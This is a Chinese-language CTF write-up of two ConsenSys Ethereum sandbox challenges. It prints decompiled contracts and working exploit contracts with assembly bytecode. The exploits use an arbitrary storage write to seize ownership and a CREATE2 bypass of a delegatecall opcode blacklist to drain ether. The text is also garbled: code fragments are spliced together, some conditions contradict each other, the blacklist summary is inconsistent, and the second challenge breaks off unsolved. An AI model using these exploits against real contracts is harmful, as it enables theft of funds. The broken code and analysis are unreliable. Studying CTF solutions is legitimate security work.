

本文为ConsenSys CTF , Ethereum Sandbox相关的一篇文章。在了解这个题目需要我们以以太坊和Solidity的基本概念进行理解。

题目一

我们的目标部署0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a的一个合约上。该合约没有经过代码验证操作，所以我们需要对该合约进行逆向从而获取源代码信息。

代码信息如下：

```
// Decompiled at www.contract-library.com

// Data structures and variables inferred from the use of storage instructions
uint256[] stor_write_what_where_gadget; // STORAGE[0x0]
uint256[] stor_owners; // STORAGE[0x1]

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(uint256 function_selector) public {
    MEM[0x40] = 0x80;
    if ((msg.data.length() >= 0x4)) {
        if ((0x25e7c27 == function_selector)) owners(uint256)(function_selector);
        if ((0x2918435f == function_selector)) fun_sandbox(address)();
        if ((0x4214352d == function_selector)) write_what_where_gadget(uint256,uint256)();
        if ((0x74e3fb3e == function_selector)) 0x74e3fb3e(function_selector);
    }
    throw();
}

function write_what_where_gadget() public {
    require(!msg.value);
    require(((msg.data.length() - 0x4) >= 0x40));
    v1200x149 = msg.data[v1200x131];
    v1200x14d = v1200x131 + 32;
    require((msg.data[v1200x14d] < stor_write_what_where_gadget.length));
    stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
    exit();
}

function 0x74e3fb3e() public {
    require(!msg.value);
    require(((msg.data.length() - 0x4) >= 0x20));
    v1650x18e = msg.data[v1650x176];
    require((v1650x18e < stor_write_what_where_gadget.length));
    v1650x1a1 = MEM[0x40];
    MEM[v1650x1a1] = stor_write_what_where_gadget[v1650x18e][0];
    return(MEM[MEM[0x40]:MEM[0x40] + (v1650x1a1 + 32 - MEM[0x40])]);
}

function owners() public {
    require(!msg.value);
    require(((msg.data.length() - 0x4) >= 0x20));
    v610x8a = msg.data[v610x72];
    require((v610x8a < stor_owners.length));
    v610x1ef = address(stor_owners[v610x8a][0] >> 0);
    v610x9d = MEM[0x40];
    MEM[v610x9d] = address(v610x1ef);
    return(MEM[MEM[0x40]:MEM[0x40] + (v610x9d + 32 - MEM[0x40])]);
}

function fun_sandbox(address varg0) public {
    require(((msg.data.length() - 0x4) >= 0x20));
    v289_1 = 0x0;
    v20b_0 = 0x0;
    while (true) {
```

```

    if ((v20b_0 >= stor_owners.length)) break;
    require((v20b_0 < stor_owners.length));
    if ((address(msg.sender) == address(stor_owners[v20b_0][0] >> 0))) {
        v289_1 = 0x1;
    }
    v20b_0 = v20b_0 + 1;
    continue;
}
require(v289_1);
v29c = extcodesize(varg0);
v2a1 = MEM[0x40];
MEM[0x40] = (v2a1 + (v29c + 63 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0));
MEM[v2a1] = v29c;
EXTCODECOPY(varg0, v2a1 + 32, 0x0, v29c);
v2cf_0 = 0x0;
while (true) {
    if ((v2cf_0 >= MEM[v2a1])) break;
    if ((v2cf_0 < MEM[v2a1])) break;
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff0000000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x0));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff0000000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x0));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff0000000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x0));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff0000000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x0));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff0000000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x0));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff0000000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x0));
    v2cf_0 = v2cf_0 + 1;
    continue;
}
v714 = address(varg0).delegatecall(MEM[MEM[0x40] : MEM[0x40] + ((0x0 + MEM[0x40]) - MEM[0x40])).gas(msg.gas);
if ((RETURNDATASIZE != 0x0)) {
    vdc0x724 = MEM[0x40];
    MEM[0x40] = (vdc0x724 + (RETURNDATASIZE + 63 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0));
    MEM[vdc0x724] = RETURNDATASIZE;
    RETURNDATACOPY(vdc0x724 + 32, 0x0, RETURNDATASIZE);
}
vdc0x753 = !vdc0x714;
require(vdc0x714);
exit();
}

```

合约未经验证，因此我们将使用合约库的方式对其进行逆向工程<https://contract-library.com/contracts/Ethereum/0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a>。

我们发现在功能0x2918435f中有一个被更改过的调用函数。如果我们可以指定delegatecall使用的地址，那么我们基本上就能拥有合约。让我们来看看为了触发此漏洞必须满足哪些条件。

首先我们来看先决条件：

```

function 0x74e3fb3e() public {
    require(!msg.value);
    require(((msg.data.length() - 0x4) >= 0x20));
    v1650x18e = msg.data[v1650x176];
    require((v1650x18e < stor_write_what_where_gadget.length));
    v1650x1a1 = MEM[0x40];
    MEM[v1650x1a1] = stor_write_what_where_gadget[v1650x18e][0];
    return(MEM[MEM[0x40]:MEM[0x40] + (v1650x1a1 + 32 - MEM[0x40])]);
}

```

在该函数中，我们需要满足：

```
require(((msg.data.length - 0x4) >= 0x20));
```

即消息data长度必须至少为32字节。

我们对合约进行一些细微的修改，存储偏移量0x01存储了一个数组。此代码实质上检查调用者是否在该数组中。在代码开始处，此数组等于[0xf339084e9838281c953f3e812f32a6e145f64bff]。

```
bool foundOwner = false;
for (int index = 0; index < owners.length; index++) {
    if (msg.sender == owners[index]) {
        foundOwner = true;
    }
}
require(foundOwner);
```

之后我们再看下面的内容：

```
while (true) {
    if ((v2cf_0 >= MEM[v2a1])) break;
    if ((v2cf_0 < MEM[v2a1])) break;
    require((v2cf_0 < MEM[v2a1]));
    require(((0xffff000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xffff000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xffff000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xffff000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xffff000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0x));
    v2cf_0 = v2cf_0 + 1;
    continue;
}
```

在合约中我们看到了上述一堆条件，然而这些条件经过分析可以简化为：

```
bytes memory code = address(target).code;
for (int index = 0; index < code.length; index++) {
    require(code[index] != 0xf0);
    require(code[index] != 0xf1);
    require(code[index] != 0xf2);
    require(code[index] != 0xf4);
    require(code[index] != 0xfa);
    require(code[index] != 0xf4);
}
```

这个前提条件很容易理解。根据黑名单(CREATE■CALL■CALLCODE■DELEGATECALL■STATICCALL■SELFDESTRUCT)检查目标合同代码的每个字节。这就是类似于沙箱的某种操作。

前提条件1很简单，由于msg.data中的内容是我们给出的，所以其长度很容易满足。然而前提条件2比较棘手。由于我们没有直接修改所有者数组的函数。因此，我们需要寻找其他的方法来满足上述条件。 唯一的具有修改内容的函数如下：

```
if ((0x4214352d == function_selector)) write_what_where_gadget(uint256,uint256)();

function write_what_where_gadget() public {
    require(!msg.value);
    require(((msg.data.length() - 0x4) >= 0x40));
    v1200x149 = msg.data[v1200x131];
    v1200x14d = v1200x131 + 32;
    require((msg.data[v1200x14d] < stor_write_what_where_gadget.length));
    stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
    exit();
}
```

看起来这个函数并没有什么危险，但实际上此函数隐藏了一个任意的写原语的接口，我们可以用它将合约的owner所有权转让给我们自己。

满足前提条件3是最棘手的，我们需要调用某种方法来转移以太token，并且此过程中不能够使用任何转移函数。

然而这里存在一个名为Constantinople的硬分叉，而这个硬分叉包含了EIP-1014，且它创建一个名为CREATE2的新操作码。此操作码的行为类似于CREATE，并存在于0xF5的位置。而该字节未被列入黑名单，因此我们可以使用CREATE2将以太网转移出CTF。

如何获得flag呢？

当满足上述的三种条件后flag就很容易获得了。

```

contract StorageWriter {
    constructor() public payable {
        assembly {
            mstore(0x00, 0x348055327f0b10e2d527612073b26eecdfe717e6a320cf44b4afac2b0732d9fc)
            mstore(0x20, 0xbe2b7fa0cf601002600601550000000000000000000000000000000000000000)
            return(0x00, 0x40)
        }
    }
}

/**
 * Locks the contract so no one else can take ownership
 */
contract Locker {
    CTFAPI private constant CTF = CTFAPI(0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A);

    constructor() public payable {
        require(tx.origin == 0x5CD5e9e5D251bF23c7238d1972e45A707594F2A0);

        bool result;

        // First, make this contract the owner
        (result, ) = address(CTF).call(abi.encodeWithSelector(
            0x4214352d,
            uint(address(this)),
            uint(0xb10e2d527612073b26eecdfe717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6-0x290dec9548b62a8d60345a988386fc84ba6bc954
        ));
        require(result);

        // Second, create the storage writer contract
        StorageWriter locker = new StorageWriter();
        (result, ) = address(CTF).call(abi.encodeWithSelector(
            0x2918435f,
            locker
        ));
        require(result);

        // Third, check result
        require(CTF.owners(0) == tx.origin);

        // Fourth, cleanup
        selfdestruct(tx.origin);
    }
}

```

```
contract StorageWriter {
    uint[] private someArray;
    address[] private owners;

    function() public payable {
        someArray.length = 0;
        owners[0] = tx.origin;
    }
}
```

```
contract BountyClaimer {
    constructor() public payable {
        assembly {
            mstore(0x00, 0x6132fe6001013452346004601c3031f5)
        }
    }
}
```

```

        return(0x10, 0x20)
    }
}
}

```

这个合同也是用汇编语言编写的，所以伪代码在下面给出。

```

contract BountyClaimerInner {
    constructor() public payable {
        selfdestruct(tx.origin);
    }
}

contract BountyClaimer {
    function() public payable {
        (new BountyClaimerInner).value(address(this).balance)();
    }
}

```

BountyClaimer合约使用CREATE2创建另一个合同，其中包含函数selfdestruct(tx.origin)。为了绕过字节0xFF上的黑名单，程序集实际上创建了一个0x32FE + 0x01的合约。

题目二

第二道题目部署到0xafa51bc7aafe33e6f0e4e44d19eab7595f4cca87上。

然而，许多反编译器无法对其进行编译操作，所以我们借助上文中的编辑器进行反汇编操作。

```

// Decompiled at www.contract-library.com

// Data structures and variables inferred from the use of storage instructions
uint256 unknown; // 0x0
uint256 die; // 0x20

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(uint32 function_selector) public {
    MEM[0x40] = 0x100000;
    if ((msg.data.length() >= 0x4)) {
        if ((0x7909947a == function_selector)) 0x7909947a(function_selector);
        if ((0x60fe47b1 == function_selector)) set(uint256)(function_selector);
        if ((0x6d4ce63c == function_selector)) get();
        v00x5f = (0x35f46994 == v00x37);
        if (v00x5f) die();
    }
    throw();
}

function 0x7909947a() public {
    MEM[0x100] = 0x100;
    0x8c(0x0, 0x24c);
    0x8c(0x0, 0x25a);
    CALLDATACOPY(0x90000, 0x44, msg.data.length());
    v269_0, v269_1, v269_2 = 0xb4(0x26a);
    0x8c(0x29b, 0x275);
    0x8c(0x90000, 0x281);
    0x8c(v269_0, 0x28a);
    0x8c((msg.data.length() - 0x44), 0x296);
    0x8c(0x0, 0x167);
    while (true) {
        if (!(MEM[MEM[0x100]] - MEM[(MEM[0x100] - 0x20)])) break;
        MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = MEM[(MEM[(MEM[0x100] - 0x60)] + MEM[MEM[0x100]])] >> 248 & 0xFF;
        MEM[MEM[0x100]] = (MEM[MEM[0x100]] + 0x1);
        continue;
    }
    MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = 0x0;
    while (true) {
        if (!(MEM[MEM[0x100]] % 0x40)) break;
        MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = 0x0;
        MEM[MEM[0x100]] = (MEM[MEM[0x100]] + 0x1);
    }
}

```

```

        continue;
    }
    v218_0 = set_impl(0x219);
    v221_0 = set_impl(0x222);
    v22a_0 = set_impl(0x22b);
    v233_0 = set_impl(0x234);
    0xc3();
}

function set(uint256 varg0) public {
    get_impl(0x317);
    v31e_0, v31e_1, v31e_2 = 0xb4(0x31f);
    0x8c(0x344, 0x32a);
    0x8c(varg0, 0x335);
    0x8c(0x0, 0x33f);
    STORAGE[MEM[MEM[0x100]]] = MEM[(MEM[0x100] - 0x20)];
    v2ff_0 = set_impl(0x300);
    v308_0 = set_impl(0x309);
    0xc3();
}

function get() public {
    get_impl(0x352);
    if ((msg.sender == unknown)) {
        throw();
    } else {
        MEM[0x80] = unknown;
        return(MEM[0x80:0xa0]);
    }
}

function die() public {
    if ((msg.sender != die)) {
        throw();
    } else {
        selfdestruct(die);
    }
}

function 0x8c(uint256 vg0, uint256 vg1) private {
    v93 = (MEM[0x100] + 0x20);
    MEM[0x100] = v93;
    MEM[v93] = vg0;
    return() // to vg1;
}

function set_impl(uint256 vg0) private {
    MEM[0x100] = (MEM[0x100] - 0x20);
    return(MEM[MEM[0x100]]) // to vg0;
}

function 0xb4(uint256 vg0) private {
    return() // to 0x8c;
}


function 0xc3(uint256 vg0) private {
    vca_0 = set_impl(0xcb);
    vd2_0 = set_impl(0xd3);
    MEM[0x100] = vc30xd2_0;
}


function get_impl(uint256 vg0) private {
    require(!msg.value);
    return() // to vg0;
}


```


其中包含了如下经过签名的函数：


Functions


 `__function_selector__(uint32 function_selector)`


 `0x7909947a()`


 `0x8c(uint256 vg0, uint256 vg1)`


 `0xb4(uint256 vg0)`


 `0xc3(uint256 vg0)`

 `die()`

 `get_impl(uint256 vg0)`

 `get()`

 `set_impl(uint256 vg0)`

 `set(uint256 varg0)`



`get()`和`die()`函数很简单，可以用伪代码表示，如下所示，我们可以假设`get()`是作为完整性检查提供的，而`die()`显然是我们需要调用以解决此CTF的函数。

```
address private storage_00;
address private storage_20;

function get() public returns (address) {
    require(msg.sender != storage_00);
    return storage_00;
}

function die() public {
    require(msg.sender == storage_20);
    selfdestruct(storage_20);
}
```

仔细查看`set(uint256)`函数，我们发现此函数内容非常复杂，由于该函数需要进行手动堆栈调用，其调用过程我总结如下：

```
function stack_push(uint256 value) private {
    memory[memory[0x100]+0x20] = value;
    memory[0x100] = memory[0x100] + 0x20;
}

function stack_get(uint256 depth) private {
    return memory[memory[0x100] - depth*0x20];
}

function stack_pop() private returns (uint256 value) {
    value = memory[memory[0x100]];
    memory[0x100] = memory[0x100] - 0x20;
}

function stack_push_frame() private {
    stack_push(memory[0x100]);
}
```

```
function stack_pop_frame() private returns (uint256 dest) {
    dest = stack_pop();
    memory[0x100] = stack_pop();
}
```

使用调用堆栈函数，set(uint256)可以表示如下：

```
function set(uint256 value) public {
    stack_push_frame();
    stack_push(return_lbl);
    stack_push(value);
    stack_push(0x00);
    set_impl();
return_lbl:
    return;
}

function set_impl() private {
    storage[stack_get(0)] = stack_get(1);
    stack_pop();
    stack_pop();
    goto stack_pop_frame();
}
```

简洁一点：

```
address private storage_00;

function set(uint256 value) public {
    storage_00 = address(value);
}

function 0x7909947a() public {
    memory[0x100] = 0x100;
    stack_push(0x00);
    var var1 = memory[0x100]; // 0x120
    stack_push(0x00);
    memcpy(memory[0x90000], msg.data[0x44], msg.data.length-0x44);

    stack_push_frame();
    stack_push(irrelevant_lbl);
    stack_push(0x90000);
    stack_push(var1);
    stack_push(msg.data.length - 0x44);
    stack_push(0x00);

    0x7909947a_impl();

irrelevant_lbl:
    // some irrelevant code
}

function 0x7909947a_impl() private {
    copy_data();
    memory[stack_get(2) + stack_get(0)] = 0x00;
    pad_data();

    stack_pop();
    stack_pop();
    stack_pop();
    stack_pop();
    goto stack_pop_frame();
}

function copy_data() private {
    while (stack_get(0) - stack_get(1) != 0) {
        memory[stack_get(2) + stack_get(0)] = memory[stack_get(3) + stack_get(0)] >> 248;
        memory[memory[0x100]] = memory[memory[0x100]] + 0x01;
    }
}
```


[illegible]

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)